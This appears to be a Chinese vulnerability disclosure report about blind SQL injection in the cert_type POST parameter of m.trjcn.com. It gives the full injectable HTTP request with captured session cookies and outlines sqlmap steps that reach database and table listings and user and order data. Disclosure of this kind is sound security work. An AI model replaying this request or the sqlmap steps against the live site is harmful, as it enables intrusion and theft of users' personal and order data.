目标:m.trjcn.com

检测发现以下地方存在SQL注入:(POST中的cert_type,布尔盲注/时间盲注)
 

POST https://m.trjcn.com/manage/user_cert/email.html HTTP/1.1 Origin: https://m.trjcn.com X-Requested-With: XMLHttpRequest Cookie: PHPSESSID=5s3svi73q5p745sttn3us9ca47; Hm_lvt_ad29a5efd4aa34f917a233e7bd73da34=1453338879; Hm_lpvt_ad29a5efd4aa34f917a233e7bd73da34=1453338879; TRJ_loginUser=7c3718c698b214a0e8d68502fa040eb2SmL%2BgQ9g0XDAxWnRlQIssy5SaODQLZlcdgXzEO4zIcYfoKXSkvbXlU7g8z4knngXDjL8hlV%2BSH95DYN%2FKI8qpA%3D%3D; TRJ_loginCode=028226efdbb0cc39daefc7240da3148c; CNZZDATA1254934089=103316653-1453335474-%7C1453335474 Content-Length: 190 Content-Type: application/x-www-form-urlencoded Referer: https://m.trjcn.com/manage/user_cert/email.html Host: m.trjcn.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* certid=&cert_code=email&cert_type=1&email=123321%40qq.com

1、SQLMap漏洞证明
 



2、列出当前数据库用户
 



3、列出所有数据库
 



4、跑出当前库所有表,共275个,发现用户表和订单表,共含104W+用户数据/35W+订单信息,具体就不深入了~
 


 


 

解决方案:

请多指教~